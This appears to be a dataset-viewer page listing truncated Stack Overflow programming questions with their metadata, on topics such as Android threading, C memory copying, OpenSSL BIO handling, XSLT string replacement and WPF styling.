This prints "FFFFFFFFF9A64C2A" . Meaning the unsigned long long seems to have been sign extended.
But why ?
All the types below are unsigned, so what's doing the sign extension ? The expected output
would... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554560",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "5"
} |
Q: Android Error : Can't create handler inside thread that has not called Looper.prepare() I am Creating one thread inside my Click event. I want to call my webservice repeatedly on particular time thats why i am using Timer event inside my click event but it throws exception that java.lang.RuntimeException: Can't crea... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554561",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "2"
} |
Q: Assertion fails after using memcpy() I have the following code, where the assertion fails. Can anyone explain me why?
double *E = (double *) malloc(sizeof(double) * voxelSpaceSize);
double *E_new = (double *) malloc(sizeof(double) * voxelSpaceSize);
// ...some manipulations inside E and E_new, the memory locations ... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554562",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: How to get a confirm popup in asp.net Inside the grid I have a delete button inside a grid and have a code behind to perform the delete.
<asp:TemplateField HeaderText="Edit Controls" ItemStyle-Width="15%">
<ItemTemplate>
<asp:LinkButton ID="Lnk_Delete" ToolTip="Delete Message"
CommandArgument='<%#Eval("MsgID... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554563",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: How to make the JFileChooser to return the file or directory path containing the forward slash in stead of backward slash in java? I have implemented JFileChooser of Java swing successfully. As the implemented JFileChooser gives file or directory path with backward slash as a file separator on windows os.
My questi... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554566",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: Facebook Application SSL Change - AJAX Flash/Server Data Security We are in the process of migrating (yup a bit late huh) of our apps to handle SSL fully (rather than just the monetization portions).
We've looked at a few other application developer integrations and it looks like the Flash-server data requests are u... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554567",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: How to represent Listeners in UML sequence diagram In sequence diagrams, how would you represent an event triggered listener?
It is not just a regular method call, so displaying like that would not seem correct.
I try to make a sequence diagram of a system including a JMS listener. I could start the lifeline with th... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554570",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "3"
} |
Q: JQGrid + ASP.NET MVC 3 Redirect to record details on doubleclick I have implemented a simple jqGrid in my ASP.NET MVC 3 application. It shows the data correctly, so that's fine. But now I want my application to show the details of a row if I doubleclick on a row.
I have a Detail action method that actually gets call... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554573",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: Difference between String.getBytes() and Bytes.toBytes(String data) I'm writing a Hadoop/HBase job. I needed to transform a Java String into a byte array. Is there any differences between Java's String.getBytes() and Hadoop's Bytes.toBytes()?
A: Reading the Javadoc, it appear that String.getBytes() returns a byte[]... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554574",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "17"
} |
Q: android monkey runner scripts i am tryig to execute a sample python program through monkey runner command prompt and it is throwing an error
Can't open specified script file
Usage: monkeyrunner [options] SCRIPT_FILE
-s MonkeyServer IP Address.
-p MonkeyServer TCP Port.
-v MonkeyServer Log... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554576",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "10"
} |
Q: How to insert more than 10^6 elements in a array I want to operate on 10^9 elements. For this they should be stored somewhere but in c, it seems that an array can only store 10^6 elements. So is there any way to operate on such a large number of elements in c?
The error thrown is error: size of array ‘arr’ is too la... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554577",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: Reading large excel tables (guessing size) I'm using pywin32 to read and write to excel. Now the only method I know is accessing Range.Value however, I usually don't know the size of the full excel table in advance.
So at the moment I read line by line until I find a completely empty line. This can be quite slow.
Of... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554582",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "2"
} |
Q: directing OpenSSL not to free a BIO object upon setting a new BIO In this sample code:
BIO *bio1 = BIO_new(BIO_s_mem());
BIO *bio2 = BIO_new(BIO_s_mem());
SSL_set_bio(ssl, bio1, bio1);
SSL_set_bio(ssl, bio2, bio2);
the last call to SSL_set_bio automatically calls BIO_free(bio1).
Is there anyway to tell OpenSSL not ... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554583",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "2"
} |
Q: Admin Products Routing Hi hoping to get some answers here. I have thought this over and over, it is killing me. Want to get answers now, everything i have been finding is more complex then my litle system at the moment. Question is below information.
First my routes file:
get 'admin' => 'admin#index'
namespace "ad... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554586",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "2"
} |
Q: how to replace a double quote with string ' \" ' in XSLT? I have an XML in which the double quotes should be replaced with the string \".
eg:<root><statement1><![CDATA[<u>teset "message"here</u>]]></statement1></root>
so the output should be <root><statement1><![CDATA[<u>teset \"message\"here</u>]]></statement1></ro... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554590",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "3"
} |
Q: Garbage collection in Flash Media Server I have memory leak in my project and I wonder how garbage collector working in Flash Media Server.
I have 2 questions:
*
*Will FMS release objects from memory that have cycle references. For example when object A is has ref to Object B and vise versa.
*Why FMS still cons... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554592",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: Atomikos + Infinispan + Jetty errors I'm using Spring with hibernate, atomikos and infinispan on jetty. After annotating any entity as @Cache(usage = CacheConcurrencyStrategy.TRANSACTIONAL) following error appears
13:24:02.590 [main] WARN atomikos - atomikos connection pool 'atomikosDataSource': error creating prox... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554599",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: Memory error in Android after capturing images In my Android application I'm trying to capture three images and upload this three images. I'm capturing two images one by one no problem but when I capture third images the application crashes with error:
09-26 16:17:31.398: ERROR/AndroidRuntime(24115): java.lang.OutOf... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554600",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "2"
} |
Q: Adding element to XML using linq to XML i have this piece of code which i use to add some elements:
string xmlTarget = string.Format(@"<target name='{0}' type='{1}' layout='${{2}}' />",
new object[] { target.Name, target.Type, target.Layout });
Configura... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554602",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: Classic forms control cannot resize in WPF environment I've added a regular forms control but I cannot resize it. Instead I have to resize host.
MSDN sample: Hosting a Windows Forms Control in WPF
System.Windows.Forms.Integration.WindowsFormsHost host =
new System.Windows.Forms.Integration.WindowsFormsHost();
Ma... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554607",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: how to double the content of a file I've an ASCII file contains a two dimensional array of size 360X720, with all 1's & 0's.
I want to double the size of that array horizontally like 720X720. By repeating the same content. How can I do that from notepad or notepad++? Suggest me if there is any macro in the notepad++... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554608",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: How to parameterize styles? I'm new in WPF. I'm trying to do same styles. The idea is to have a button style customizable. So, for example, i would like to change the background color of the button. or the image of the button.
Here is the code of the style
<Application
xmlns="http://schemas.microsoft.com/winfx/2... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554621",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.